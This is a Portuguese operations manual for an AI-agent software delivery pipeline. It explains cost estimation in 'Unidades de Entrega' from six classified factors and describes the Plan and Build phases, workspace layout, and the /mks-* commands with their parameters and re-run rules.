MakeStudio · Delivery EngineManual de Operação · v1.02026-09-20
MANUAL DE OPERAÇÃO · ESTEIRA DE ENTREGAS

Esteira de Entregas — Manual de Operação

Como um sistema nasce, é custeado antes de existir, estimado em Unidades de Entrega, construído em três fases com padrões de qualidade e calibrado contra o esforço real — com exemplo completo sobre o boilerplate saas-starter.

Não é proposta comercialMétodo interno replicávelExemplo: ContrataCRMFórmulas auditáveis
Leitura em 90 segundos
fases: Plan → Build → Harden3
custo do exemplo (156 UE · R$ 130/UE · margem 20%)R$ 26.770
âncora de estimativa por tarefa28 UE
comandos documentados (um por um)25
01 · síntese executiva

O que é a Esteira de Entregas

A Esteira é o processo industrial do MakeStudio: um conjunto de fases, portões e regras — todos aplicados em código, pelo harness — que transforma uma ideia num sistema entregue, com preço auditável antes de começar e calibração depois de terminar. Nenhuma etapa depende de o agente "se comportar": o sistema bloqueia o erro antes dele acontecer.

Fase 0 — Custeio
Custear antes de construirExplorar o problema, estruturar em marcos e entregáveis, classificar os 6 fatores, gerar o preço auditável. Gate humano: o cliente aprova ou negocia.
Fase 1 — Plan
Da ideia ao plano auditávelBlueprint da workstream, breakdown em stories com critérios de aceite, arquitetura técnica. Write/Edit bloqueados — só leitura e planejamento.
Fase 2 — Build
Implementação com revisãoPlano técnico por story, código em branch própria, revisão de 4 lentes (segurança + performance + qualidade de código + padrões do projeto).
Fase 3 — Harden
Validação e blindagemCritérios de aceite testados com browser real (screenshots de evidência), pentest autônomo, correção de achados, release com changelog.
Aprendizado Contínuo
CalibraçãoUE estimadas vs custo real medido. Desvio sistemático ajusta a âncora. A próxima estimativa é melhor.
Problema clássico do desenvolvimento com IAComo a Esteira resolve
Escopo difuso — "faz um sistema de X" não cabe num promptDecomposição obrigatória: entrega → trilha → tarefa, cada tarefa com critérios de aceite objetivos
Custo opaco — ninguém sabe quanto cobrar nem quanto vai darFase 0 com moeda própria (UE) derivada de 6 fatores classificados, motor de preço parametrizado
IA que "acha que terminou" — reporta feito sem estar no discoPadrões estruturais: auditoria de artefatos, build, deploy e verificação pós-deploy são requisitos de "concluído"
Repositório sujo — commits na main, push sem permissãoRegras P1–P8 aplicadas em código pelo harness, não em prompt
Conhecimento que evapora — cada sessão recomeça do zeroMemória estruturada: overview, planos, relatórios e calibração persistidos e versionados no workspace
O princípio central, que atravessa todo o manual: uma tarefa só está "concluída" quando o artefato está no disco, o build passa, o deploy rodou e a verificação pós-deploy confirmou o resultado. Qualquer coisa antes disso é "feito localmente, pendente de publicação" — e é reportado exatamente assim.
Por que "moeda própria" em vez de horas: horas medem esforço do executor; UE medem escopo do resultado. O cliente compra resultado. E UE permite comparar projetos entre si e calibrar com o tempo — a âncora de 28 UE é um fato medido, não uma opinião.
02 · fase zero — custo antes da esteira

Custear o sistema antes de entrar na esteira

A Fase 0 acontece antes de qualquer linha de código — o cliente precisa saber quanto o sistema custa antes de autorizar o desenvolvimento. O método: classificar atributos qualitativos e deixar a fórmula derivar o número. O estimador não chuta horas; ele classifica.

Regra de ouro: Nenhuma linha de código é escrita antes de o sistema estar custeado e aprovado. A Fase 0 responde "quanto custa e por quê" com fórmulas explícitas e fatores classificados — o cliente nunca recebe um número sem auditoria possível.

A moeda: o que é (e o que NÃO é) uma Unidade de Entrega

Toda a Esteira negocia em Unidades de Entrega (UE) — e entender esta moeda é pré-requisito para tudo que segue. Quando algum comando imprimir DU (Delivery Unit), é o mesmo número sob o nome interno do motor: leia sempre como UE. A definição formal: UE é a unidade que mede o ESCOPO DE RESULTADO de um trabalho de entrega. Ela não mede tempo, não mede esforço, não mede linhas de código — mede quanto de resultado aquele trabalho carrega.

A analogia que destrava o conceito — o kWh da entrega: você não compra "horas de funcionamento da turbina" da companhia elétrica; compra kWh. O kWh é produzido por meios diferentes (hidrelétrica, solar, termo) com custos diferentes — e essa diferença é problema do fornecedor, que lucra ficando mais eficiente, não do cliente, que paga a mesma unidade. A UE funciona igual: o cliente compra unidades de resultado; se o agente de IA entregar a mesma story em metade do tempo, o preço não muda — a sua margem cresce. Isso desacopla preço de produtividade: quanto mais rápido a fábrica fica, mais lucrativa, sem remarcar tabela.

Por que não as unidades que você já conhece

UnidadeO que medePor que não serve pra cá
HorasEsforço do EXECUTORVaria com quem executa (sênior, júnior, agente): a mesma feature são 4h ou 3 dias conforme a mão. Mede o fornecedor, não o trabalho — e o preço fica refém da produtividade de quem vendeu barato
Story pointsComplexidade RELATIVA a um timeNunca saem do time que os criou ("pra nós, um 8 é..."). Não são comparáveis entre projetos, nem entre clientes, nem no tempo — impossível calibrar uma operação com isso
Linhas de códigoVolume de artefatoBoilerplate infla, refactor encolhe — o volume não tem relação estável com valor entregue
UEEscopo do RESULTADOAbsoluta (o mesmo número vale em qualquer projeto), deriva de fatores classificados (auditável), e é corrigida por medição real (calibrável). É a única das quatro que sobrevive a "quem fez, como fez e quando fez"

Como uma UE nasce — o pipeline do número, estágio a estágio

Cinco estágios, cada um respondendo UMA pergunta. Os números em azul acompanham a story-exemplo do motor (Medium + High, R3, Incerteza M, Governança M, Urgência Normal) do início ao fim.

1
Classificar — "que trabalho é este?"
Os 6 fatores da story são classificados: Size e Complexity o agente propõe; Responsabilidade, Incerteza, Governança e Urgência passam por você, com tabela e confirmação.
exemplo: Medium · High · R3 · M · M · Normal
2
Somar o esforço — "quanto trabalho bruto?"
Size e Complexity são aditivos: somam no esforço da story. É o tamanho do trabalho em si, sem contexto.
1,00 + 1,90 = esforço 2,90
3
Multiplicar o contexto — "quanto isso pesa AQUI?"
Os outros quatro são multiplicativos: um sistema que controla dinheiro (R3), com incerteza média e governança média, paga prêmio sobre o esforço bruto.
2,90 × 1,45 × 1,15 × 1,10 × 1,00 = 5,32
4
Converter pela âncora — "quantas UEs por ponto?"
Cada ponto de score ajustado vale 28 UE — o tamanho da tarefa mediana bem-fatida. É o pivô que liga a classificação à moeda (e o que a calibração ajusta).
5,32 × 28 = 148,4 UE
5
Aplicar o buffer — "e o imprevisível?"
Folga explícita de 10% para o imprevisto — à mostra na proposta, nunca escondida dentro do número. Arredonda pra cima: UE é inteira.
148,4 × 1,10 → ceil = 164 UE
164 UE — a story está estimada: nasceu de classificação, é auditável fator a fator, e o preço é só conversão (× R$ 130 × 1,20 = R$ 25.584).

A âncora — e por que justamente 28

28 UE é o tamanho de uma tarefa mediana bem-fatida — a régua de sanidade da decomposição. Story calculada muito acima da âncora (3×, 4×) é story grande demais: quebre em duas. Muito abaixo (0,2×, 0,3×) é poeira: junte com a vizinha. Estimativas muito distantes da âncora exigem justificativa escrita. E o 28 não é dogma: é o pivô de calibração — quando a medição real de um repo mostra desvio sistemático, a âncora ajustada (âncora × fator do repo) corrige as estimativas seguintes. A moeda aprende.

Da UE ao real — três números, três papéis

NúmeroValor defaultQuem decidePapel
UE—A fórmula, dos fatoresMede o escopo. É o único número que o trabalho produz
Rate (R$/UE)R$ 130Comercial (rate-card, editável no delivery.json)Converte escopo em custo. Trocar o rate NÃO muda as UEs
Margem20%ComercialAplicada por último, à mostra — o lucro nunca vem escondido dentro do número
Exemplo ponta a ponta (a mesma story do motor):
story classificada: Size Medium (1,0) + Complexity High (1,9), R3, Incerteza M,
Governança M, Urgência Normal → 164 UE
custo    = 164 UE              × R$ 130         = R$ 21.320   (escopo × rate)
preço    = R$ 21.320           × (1 + 20%)       = R$ 25.584   (custo × margem)
proposta = 164 UE com buffer já embutido, tabela fator a fator — auditável

As cinco propriedades que fazem a UE funcionar como moeda

PropriedadeO que significa na prática
AuditávelCada UE traça aos fatores que a produziram — o cliente pode perguntar "por que 164?" e receber a conta fator a fator, não um chute com casas decimais
ComparávelO mesmo número significa o mesmo escopo em qualquer projeto, time ou ano — 156 UE do ContrataCRM são comparáveis com 156 UE de qualquer sistema futuro
CalibrávelO custo real medido corrige a âncora por repo (cold/hot) — a moeda se aproxima da realidade de produção a cada entrega
Estável contra mexericaEscopo mudou = nova classificação e novo número. Nunca "ajusta" o número pra cima quando o trabalho atrasa — atraso é problema de produção (custo), não de escopo (preço)
Conversível× rate → R$. A conversão é comercial e explícita; a UE em si nunca é denominada em dinheiro

Como uma UE "morre" — o consumo medido

Estimada, a story é executada e o /mks-meter grava o custo real (normalizado em UE) como actual no ledger, junto com o footprint do diff. Estimado e medido se confrontam: a razão entre eles é o fator de calibração do repo. É assim que a moeda fecha o ciclo — nasce de classificação, morre de medição, e a diferença entre as duas ensina a próxima estimativa.

Pergunta que todo cliente faz — "UE é hora disfarçada?": Não. Uma story de 28 UE pode levar 2 horas ou 3 dias dependendo de quem (ou o quê) executa — e é exatamente esse desacoplamento que protege os dois lados: o cliente paga pelo resultado pactuado, não pela velocidade do executor; a fábrica lucra pela própria eficiência, sem renegociar tabela a cada ganho de produtividade.

O modelo de 6 fatores — a matéria-prima do número

Cada story é classificada por 6 fatores. Size e Complexity (aditivos) medem o trabalho em si; os outros 4 (multiplicativos) ajustam pelo contexto. Todos os valores abaixo vêm do motor (src/delivery/estimation/factors.ts) — não são ilustração.

FatorPergunta que respondeQuem classifica
SizeQual o tamanho bruto do trabalho?O agente propõe (auto), você confirma
ComplexityQual a dificuldade técnica?O agente propõe (auto), você confirma
ResponsibilitySe falhar em produção, o que acontece?Tabela + sua confirmação (gate com WAIT)
UncertaintyEu sei exatamente como fazer isso?Tabela + sua confirmação
GovernanceQuantas aprovações e trilhas o domínio exige?Tabela + sua confirmação
UrgencyTem prazo contratual curto?Tabela + sua confirmação
aditivosoma no esforço · estágio 2 do pipeline

Size — tamanho bruto

Very Small× 0,50
Small× 0,75
Medium× 1,00
Large× 1,50
Very Large× 2,00
aditivosoma no esforço · estágio 2 do pipeline

Complexity — dificuldade técnica

Very Low× 0,75
Low× 1,00
Medium× 1,40
High× 1,90
Very High× 2,50
multiplicativomultiplica o contexto · estágio 3

Responsibility — dano de um defeito

R1× 1,00reputacional
R2× 1,20financeiro contornável
R3× 1,45financeiro/legal
R4× 1,75dados críticos
R5× 2,10vida/saúde
multiplicativomultiplica o contexto · estágio 3

Uncertainty — território conhecido?

Very Low× 0,90
Low× 1,00
Medium× 1,15
High× 1,35
Very High× 1,60
multiplicativomultiplica o contexto · estágio 3

Governance — burocracia do domínio

Very Low× 0,95
Low× 1,00
Medium× 1,10
High× 1,25
Very High× 1,45
multiplicativomultiplica o contexto · estágio 3

Urgency — prazo

Low× 0,95
Normal× 1,00
High× 1,20
Critical× 1,50

A fórmula — do fator ao número

UE = ceil( ( Size + Complexity ) × Responsabilidade × Incerteza × Governança × Urgência × 28 × (1 + buffer 10%) )
exemplo real (Story de exemplo do motor):
  Size Medium (1,00) + Complexity High (1,90)      = esforço 2,90
  × R3 (1,45) × Incerteza Medium (1,15)
  × Governança Medium (1,10) × Urgência Normal (1,0) = ajustado 5,30
  × 28 UE por ponto de score                        = 148,4
  × (1 + 10% buffer)                                = 163,3 → ceil = 164 UE
Do custo ao preço: custo = 164 UE × R$ 130 = R$ 21.320 · preço = × (1 + margem 20%) = R$ 25.584. Cada linha é auditável: o cliente vê qual fator produziu qual parte do número. Parâmetros em delivery.json (âncora 28 · rate 130 · buffer 10% · margem 20%) — são decisão de rate-card, editáveis, nunca multiplicador escondido.

Fallback por contagem — quando os fatores não são classificados

Se a entrevista não classifica os 6 fatores, a engine usa o modelo de contagem, baseado em sinais objetivos da spec: UE = base 8 + critérios×4 + repos×6 + seções×3. Defensável, mas perde a sensibilidade de contexto (R4 × R1 = 75% de diferença que a contagem não enxerga).

Regra de ouro da incerteza: incerteza alta NÃO se resolve com estimativa maior — se resolve com spike: tarefa de investigação de escopo fechado (~âncora × 0,5 = 14 UE), cujo entregável é conhecimento, não código. Se a integração se provar inviável, o projeto redireciona antes de queimar as 42 UE do entregável seguinte.

Os parâmetros — a assinatura dos comandos da Fase 0

ComandoAssinaturaPor que existe / como usar
/mks-init(sem argumentos)Tudo é perguntado na entrevista interativa — repos, linguagem, defaults. Recusa pasta que já é repo de código (hard guard)
/mks-onboard[<foco extra>]Opcional: um subsistema pra olhar primeiro ("olha o módulo de billing antes") — direciona o scan quando o projeto é grande e você já suspeita de onde vem a dor
/mks-explore<problema ou ideia>A descrição livre do problema vira o fio condutor da exploração; se casar com workstream existente, o brainstorm entra lá
/mks-interview[<workstream>]Opcional: diretório ou slug da workstream alvo; sem ele, usa a ativa. Match por dir exato ou slug parcial
/mks-quote(sem argumentos)Lê o escopo já estruturado da(s) workstream(s) ativa(s) e aplica a fórmula — não há o que parametrizar

O gate humano — o fim da Fase 0

A Fase 0 termina com um documento de estimativa apresentado ao cliente: marcos, entregáveis, UE por entregável, total em R$, validade e fora-de-escopo. Nada entra na Esteira sem aprovação explícita — e a aprovação fica registrada. O custo de estimar (5–10% do projeto) economiza os 50% de imprevisto do "chuta que é mais ou menos 2 semanas".

Armadilha do número prematuro: apresentar preço antes de classificar os fatores é chutar com casas decimais. Se você não sabe dizer se a story é R2 ou R4, você não sabe o preço — e o cliente tampouco. A entrevista da classificação É o trabalho da Fase 0.
03 · fase plan

Plan — o nascimento do sistema

A Fase Plan é onde uma ideia vira um contrato executável. Cada decisão tomada aqui propaga por todo o ciclo: o overview define o que o cliente compra, o breakdown define o que será testado e quanto custa, a arquitetura define como o código se organiza, e os critérios de aceite definem quando algo está "pronto". É o momento de maior alavanca do projeto — um erro de escopo aqui custa 10× mais para corrigir no Build, e 100× mais se chegar ao cliente em produção.

Por que Plan mode bloqueia Write/Edit: Um agente que começa a implementar enquanto ainda está "planejando" não está planejando — está improvisando com confiança. O improviso tem o mesmo custo de um plano ruim, sem o benefício de estar documentado. O bloqueio estrutural garante que o pensamento termine antes da ação comece. O agente recebe erro corretivo do harness: "Plan mode ativo — edição bloqueada. Complete o planejamento primeiro."

Antes de operar: o território — um workspace, N repositórios

A Esteira separa o mundo em dois: o workspace (o repositório da análise, onde a Esteira vive e todo o processo é versionado) e os repositórios de código (o código-fonte real do sistema, registrado dentro do workspace, em delivery/repos/). Entender esta separação é pré-requisito para operar qualquer comando — é o mapa do território.

Os dois mundos: o workspace é o control plane — estimativas, critérios, planos, relatórios, calibração: o PROCESSO da entrega, que é o seu ativo. Os repos são o produto — o código que o cliente compra, com histórico git próprio, branches próprios, PRs próprios. A Esteira orquestra o segundo a partir do primeiro, e nunca mistura os dois: nenhum comando escreve código na raiz do workspace, e nenhum artefato de processo suja o repo do cliente.

Como fica no disco — a anatomia completa

O workspace de um projeto com dois repos (backend + web):
meu-projeto/                          ← WORKSPACE (o repositório da análise)
├── delivery/
│   ├── delivery.json                 ← parâmetros: UE, rate, margem, pesos, REPOS REGISTRADOS
│   ├── rules/                        ← plan.md · build.md · harden.md (+ overlays do projeto)
│   ├── context/                      ← knowledge store: DDLs, contratos, PDFs, glossário
│   ├── templates/                    ← overview, estimate, integration-test, bug
│   ├── calibration.json              ← ledger estimado vs. real (o que o board e o motor leem)
│   ├── workstreams/
│   │   ├── active/20260920-system-contrata/
│   │   │   ├── overview.md           ← o que o cliente compra (blueprint)
│   │   │   ├── architecture.md       ← a fundação (arquiteto)
│   │   │   ├── track-1-fundacao/
│   │   │   │   ├── functional/story-0001-*.md          ← spec + critérios (breakdown)
│   │   │   │   └── build-plans/story-0001-*-build-plan.md  ← plano técnico (techplan)
│   │   │   └── validation-reports/   ← evidência do validate + bugs/ (harden)
│   │   ├── completed/ · archived/    ← ciclo de vida da entrega
│   ├── repos/                        ← O CÓDIGO-FONTE REAL VIVE AQUI (dentro do workspace)
│   │   ├── backend/                  ← repo registrado no init (clone git OU symlink local)
│   │   └── web/                      ← segundo repo — a Esteira orquestra vários de uma vez
│   └── pentest-audits/               ← configs/shannon.yaml + runs/YYYYMMDD-NNNN/
└── (NUNCA código de aplicação na raiz — o workspace é control plane)

Como os repositórios entram no workspace

RegistroComo ficaQuando usar
Git URLA Esteira faz git clone — o código vive copiado dentro de delivery/repos/<nome>/Repo remoto (GitHub, GitLab, servidor do cliente)
Path local (symlink)A Esteira cria um symlink — o código CONTINUA onde estava (nada é movido nem copiado), e delivery/repos/<nome>/ apenas aponta para láSeu projeto já existe nesta máquina e você não quer duplicá-lo
Por que o init RECUSA instalar a Esteira num repo de código: antes de qualquer coisa, o init roda um check determinístico na raiz — se acha pom.xml, package.json, Cargo.toml etc., ele PARA na hora e diz: "Esta pasta já é um repositório de código. O Delivery Engine roda no próprio workspace, separado do código. Crie uma pasta nova e rode /mks-init lá — depois eu registro este projeto como repositório (local via symlink, ou pelo git URL)". O estado híbrido (Esteira embutida no repo de código) é exatamente o que faz o Build improvisar e escrever source no lugar errado — por isso não existe como opção, nem a pedido.

Como você opera — a Esteira é uma conversa em comandos

Não existe botão, formulário nem "fluxo contínuo": você opera a Esteira digitando um comando por vez no chat. O especialista daquele comando assume (Consultor, Arquiteto, Dev Team…), faz o trabalho, e devolve o controle apontando o próximo passo. Um comando = um passo do processo — nunca um "faça tudo".

O estado vive no disco, não na conversa: cada comando lê o que os anteriores escreveram (overview, stories, build-plans, calibration.json) para saber onde você está. Por isso você pode fechar a sessão, voltar amanhã, até trocar de máquina — rodar o próximo comando funciona igual, porque ele pergunta ao disco, não à memória do chat. A conversa é descartável; o workspace não.

Como saber qual é o próximo comando — três formas

FormaO que você vê
O comando anterior avisaToda skill termina apontando o próximo passo: o blueprint encerra com "rode /mks-breakdown all ou track-N", o techplan com "rode /mks-build", o validate com o resultado e os bugs delegados. Você nunca termina um comando sem saber o candidato a próximo
O board sugereO lifecycle deriva o estágio real da evidência em disco e o /mks-board (ou a dashboard /delivery) mostra a próxima ação sugerida com o comando pronto — e nos modos guiados, o gate só libera o avanço com seu aceite registrado
A jornada é o mapaA seção 10 traz a ordem canônica com o porquê de cada posição — para quando você quiser entender em vez de seguir sugestão

A sequência do Plan — quatro comandos, uma ordem

/mks-blueprint — cria a workstream→ /mks-breakdown — stories + critérios + DU→ /mks-architecture — fundação contra o escopo completo→ /mks-board — confere e arquiva
Por que a arquitetura vem DEPOIS do breakdown: a skill de arquitetura tem hard precondition — ela PARA se o breakdown está incompleto. Arquitetura se decide contra o escopo COMPLETO, não parcial: decidir antes é decidir duas vezes, porque a story que chegar depois invalida a decisão. O architecture.md produzido é a base que TODOS os techplans referenciam — decisão única, em vez de cada story re-discutir stack.

Os parâmetros — a assinatura dos comandos do Plan

ComandoAssinaturaPor que existe / como usar
/mks-blueprint<descrição ou diretório existente>Descrição livre vira workstream nova; se o argumento casa com diretório existente (ex.: criado pelo explore), REUSA — overview e brainstorm daquela entrega continuam
/mks-breakdown[<workstream>] <all | track-N>Escopo obrigatório: all quebra todas as tracks, track-2 só a trilha 2 — permite detalhar a fundação primeiro e o resto depois do feedback
/mks-architecture<workstream>Obrigatório — a fundação é de uma workstream específica; match parcial, múltiplos → pergunta
/mks-board[complete|archive <workstream>]Sem args = status. complete/archive movem a entrega no fim do ciclo (com limpeza de worktrees e sync kanban)
/mks-ticket<descrição do bug ou atividade>Descrição livre — a skill classifica bug vs atividade e vigia o escopo (2+ stories → recomenda /mks-blueprint)

Quem escreve onde — a fronteira por comando

ComandoEscreve emNunca toca
/mks-initdelivery/ — config, rules, estruturaCódigo de aplicação
/mks-exploreworkstreams/<ws>/brainstorm.mdQualquer outra coisa
/mks-blueprintoverview.md + presentation.html + estimate.md (TBD)Código, DU real
/mks-breakdowntrack-N/functional/story-*.md + calibration.jsonCódigo
/mks-architectureUM arquivo: architecture.mdTudo mais (guardrail absoluto)
/mks-techplanUM arquivo: build-plans/story-*-build-plan.mdCódigo (é plano, não implementação)
/mks-builddelivery/repos/<repo>/ — branch workstream/<ws>/<story>A raiz do workspace (precondição dura)
/mks-validatevalidation-reports/ + evidence/ + bugs/Texto de critério
/mks-pentestpentest-audits/runs/O repo do cliente (só LÊ p/ atacar)
/mks-releasedelivery.json + README.md + git tag—
Isolamento de trabalho (opcional) — worktrees: com implement.useWorktree: true no delivery.json, o build não implementa no repo principal: cria uma cópia de trabalho isolada em delivery/repos/.worktrees/<branch>/<repo>/. O repo principal fica na branch principal, intocado e consultável, enquanto a story vive na worktree. Ao concluir/arquivar, o /mks-board varre e limpa as worktrees órfãs.
Por que essa separação paga: (1) o processo é seu ativo — estimativas, critérios e calibração ficam versionados no workspace, não se perdem no histórico git do cliente; (2) P8 respira — o repo do cliente só recebe trabalho via branch e PR, nunca commit direto; (3) multi-repo nativo — uma workstream que toca api + web é orquestrada de um lugar só; (4) o pentest lê sem sujar — white-box contra delivery/repos/, com artefatos de ataque isolados em pentest-audits/.

Executar de novo — o que acontece com cada comando

Nada na Esteira explode com re-execução — mas cada comando tem uma política diferente. Esta é a tabela de bolso:

ComandoQuantas vezesRe-executar faz o quê
/mks-init1× por projetoNunca sobrescreve: detecta o delivery.json existente, reporta a config atual e pergunta o que mudar (adicionar repos, ajustar defaults, ou abortar)
/mks-exploreÀ vontade (um por problema)Regrava o brainstorm.md. Proteção: se o brainstorm fica mais novo que o overview, o board considera o overview VELHO e para de sugerir breakdown — exploração nova invalida planejamento antigo
/mks-blueprint1× por workstream (iterável)Se o diretório já existe (criado pelo explore), REUSA — não duplica. Dentro da mesma execução, o escopo itera via planos até sua aprovação; aprovado, o escopo trava
/mks-breakdown1× por track (ou all)Re-detalhar atualiza as stories da track e regrava os DU no ledger — o parser tolera e deduplica os formatos, nada duplica
/mks-architecture1× por workstreamReescreve o ÚNICO arquivo — decisão de fundação é una; re-rodar de propósito é re-decidir com consciência
/mks-techplan1× por storyRe-planeia a story (reescreve o build-plan). Normal só quando o plano mudou de verdade — plano é fronteira de retomada, trocá-lo no meio do build exige reler o checklist
/mks-buildÀ vontade — feito para re-rodarÉ o comando mais seguro de repetir: o checklist é o estado durável — itens [x] já feitos são pulados, só os pendentes executam; branch existente é REUTILIZADA, não recriada. Retomar pós-crash/compactação é o design, não acidente
/mks-reviewÀ vontade — idempotenteAuto-fixa Critical/High (commits por fix). Mesmo diff → relatório cacheado (diff-hash) e exit 0; diff novo → incremental. Depois de corrigir findings, re-rodar é o esperado
/mks-validateÀ vontade — esperado após fixesRe-testa os critérios; relatórios SEMPRE sobrescrevem os da run anterior (o git é o histórico de auditoria). Modo track revalida até zerar bloqueantes — e a última run re-testa tudo
/mks-pentestÀ vontade (1× por marco é o comum)NUNCA sobrescreve: cada run ganha número próprio, global e monotônico (runs/YYYYMMDD-NNNN/) — o histórico de auditoria é sagrado
/mks-release1× por versãoVersão igual à atual ABORTA (tag duplicada é erro de operação). Nova versão = novo release completo, com novo changelog
/mks-storyÀ vontadeÉ um pino: apontar Troca a story ativa, off desliga. Zero efeito colateral além da atribuição de medição
/mks-meter · /mks-calibration · /mks-board · /mks-doctorÀ vontade (leituras)Meter atualiza o custo da story ativa; calibration e board relêem o disco; doctor re-diagnostica. Leitura nunca estraga estado
Rodar fora de ordem é SEGURO — e o sistema ensina: cada dependência é uma precondição dura que ABORTA com a mensagem exata do que falta: build sem techplan → "rode /mks-techplan primeiro"; techplan de story inexistente → "a story não foi detalhada, rode /mks-breakdown"; arquitetura com breakdown incompleto → para; blueprint sem init → aborta. Nada é criado no lugar errado, nada quebra — o comando recusa e aponta o caminho. Você não precisa decorar a ordem para não se danar; precisa conhecê-la para ser rápido.

Escrever critérios de aceite que prestam

❌ Critério ruim✅ Critério bomO que o ruim produz
"O login funciona""Dado usuário ativo com senha correta, ao submeter o login, o sistema cria sessão e redireciona para /dashboard em <2s; com senha errada, exibe mensagem genérica sem revelar se o e-mail existe"Validação cega: ninguém consegue dizer "passou ou falhou"
"Sistema rápido""Listagem de 1.000 registros carrega em <800ms no p95""Rápido" não se testa; p95 sim
"Exporta CSV""Ao clicar Exportar, baixa contracts.csv com as colunas do filtro ativo, codificação UTF-8 com BOM (abre em Excel sem desconfigurar acentos)"O QA descobre "qual CSV?" no meio da validação
Regra prática: todo critério de aceite é verificável por um comando ou um script. Se ninguém consegue dizer "isto passou ou falhou" olhando para ele, ainda é desejo, não critério. E lembre da Fase 0: cada critério adiciona UE ao escopo (perAcceptanceCriterion) — critério é compromisso, trate-o como tal.
Por que o overview é o documento MAIS importante: porque é o contrato funcional. Tudo que está no overview foi aprovado pelo cliente; tudo que NÃO está é fora de escopo. Quando o cliente pede "só mais uma coisa" no meio do Build, você volta ao overview: "está na lista? Não? Então é uma nova entrega — nova Fase 0, novo preço." Sem o overview, você não tem para onde voltar.
04 · fase build

Build — onde o código nasce (com supervisão)

O Build é um ciclo por story: plano técnico antes, implementação em branch própria, revisão de 4 lentes com auto-correção depois. O agente executa; o harness confere cada afirmação. Nada aqui depende de confiança — tudo depende de evidência.

O ciclo de cada story

/mode build→ /mks-story <id> — aponta a medição→ /mks-techplan — intenção documentada→ /mks-build — implementação em branch→ /mks-review — 4 lentes + auto-fix→ /mks-meter — grava o custo real

Os parâmetros — a assinatura completa de cada comando

Esta é a tabela de consulta: o que cada comando aceita, o default, e por que o parâmetro existe. Nenhum comando silencia flag desconhecida — erra o nome e ele aborta avisando (errar é seguro, digitar errado sem saber não).

ComandoParâmetroDefaultPor que existe / como usar
/mks-techplan<workstream>— (obrigatório)Match parcial contra os diretórios ativos; bate mais de um → lista e pergunta. Sempre confirma — nunca assume "a única ativa" por você
<story>— (obrigatório)Número (0001) ou slug (login-form); a busca varre todas as tracks. Story inexistente → aborta ("rode /mks-breakdown primeiro") — build-plan órfão não aparece no board
/mks-build<workstream> <story>— (obrigatório)Igual ao techplan. Sem build-plan da story → aborta na hora: nunca improvisa da spec funcional
[phase-N]omitido = plano inteiroRetomada cirúrgica: implementa só a fase N do plano — útil quando o turno anterior parou no meio
[task-N]omitido = todasAinda mais fino: uma única task. Combine com o checklist para corrigir exatamente o item que quebrou
(pergunta interativa)sugere develop/mainAntes de criar branches, pergunta a base de CADA repo impactado — a base é decisão sua, não do agente
/mks-review--forceoffIgnora o cache de diff: re-roda o review mesmo se o diff não mudou desde a última run
--no-confirmoffPula o painel de confirmação de contexto — para rodar em script/fila
--no-auto-fixoffDesliga a auto-correção: só reporta findings, não mexe em código. É o modo TRIAGEM — quando você quer ver o quadro antes de decidir
--auto-fix-min=<critical|high>highSeveridade mínima que entra na auto-correção. Default corrige High E Critical; passe critical quando a suíte de testes é lenta demais para absorver fixes de High a cada run
--allow-depsoffPermite o auto-fix adicionar dependência nova no topo do repo. Sem a flag, finding que exigiria dep é marcado [AUTO-FIX SKIPPED] — dependência é decisão humana
--base=<branch>auto-detectadoSobrescreve a detecção da branch base — para PRs empilhados sem metadado do GitHub ou para forçar o diff contra o trunk
--story=<slug>unsetAfina para UMA story quando o branch carrega várias
--repo=<name>multi-repoPor padrão TODOS os repos com diff não-vazio entram na run; a flag restringe a um
/mks-review-profile--refresh—Regenera o perfil do zero (re-scan + re-entrevista) — quando a stack mudou
--update=<section>—Re-entrevista só uma seção (ex.: hot-files, severity-overrides) sem mexer no resto
--show—Imprime o perfil atual e para
--repo=<name>perguntaEscolhe o repo alvo direto (senão: flag → caller → cwd → menu)
/mks-story<id>—Aponta a story ativa: todo consumo medido passa a ser atribuído a ELA
(vazio)—Mostra qual story está ativa
off—Desliga a atribuição (o consumo vira órfão de story)
/mks-meterrecord [<id>]id = story ativaGrava o custo medido como actual no ledger — e o multi-stack gate exige arquivos tocados em CADA layer taggeado antes de fechar
(vazio)—Relatório de custo da sessão — leitura pura

Techplan — a ponte do escopo pro código, com regras próprias

O Tech Lead pega UMA story e produz o build-plan: o documento de intenção que o /mks-build vai executar. Ele entra em plan mode, lê a cadeia de contexto inteira, entrevista você sobre as decisões técnicas, e escreve exatamente um arquivo. Guardrails absolutos: nunca implementa código, nunca roda build/teste, nunca escreve fora do build-plan.

As duas precondições duras — e o que o abort ensina

PrecondiçãoSe faltaPor que é dura
A story tem spec funcional — em QUALQUER formato aceito: o canônico story-NNNN-*-functional.md, specs/, diretório story-NNNN/ com NNNN.md dentro, ou o arquivo plano track-N/story-NNNN.md que modelos menores produzemAborta: "a story não foi detalhada — rode /mks-breakdown primeiro"Build-plan de story sem spec é ÓRFÃO: não aparece no board (o sync conta só stories) nem no lifecycle — deixa a workstream inconsistente. O parser tolerante existe pra achar a spec em qualquer forma; se NÃO achou, é porque ela não existe
Pelo menos um repo configurado em delivery/repos/Aborta: "Nenhum repositório configurado. Rode /mks-init e registre o repo — o Delivery Engine nunca escreve código na raiz do workspace"É a armadilha real do workspace vazio: sem repo, o agente INVENTA um path na raiz e escreve no lugar errado. A precondição mata a classe do erro, não o caso

A cadeia de contexto — o que ele lê (e o que recusa ler)

architecture.md — a fundação (precondição soft)→ overview.md — o big picture→ track index — quais stories pertencem à trilha→ spec funcional da story→ Todos os repos: CLAUDE.md, models, endpoints, flows

Dois detalhes que surpreendem: (1) a arquitetura é precondição SOFT — sem architecture.md ele recomenda rodar /mks-architecture primeiro e só prossegue se você pedir pra pular (derivando decisões conservadoramente e anotando no plano que não havia fundação); (2) ele NÃO lê os critérios de aceite — são reservados ao /mks-validate. O planejador técnico não conhece os critérios de aprovação: cada papel vê o que precisa, nada além.

A entrevista técnica — decisões, não impressões

Múltiplas rodadas, começando no nível arquitetural e descendo ao específico: escolhas de tecnologia, padrões a seguir, edge cases, tratamento de erro, performance. Resposta vaga não passa — ele pede decisão concreta. E ele desafia: vê alternativa melhor, propõe. O plano só é escrito depois que as dúvidas técnicas acabam e você aprova a estrutura proposta.

Anatomia do build-plan — o que o arquivo contém

BlocoRegraPor quê
Só o DELTAO que a story ADICIONA sobre architecture.md e a spec — o resto é referência (see architecture.md), nunca repetição de overview/user flowDocumento que repete informação apodrece quando a origem muda; referência não apodrece
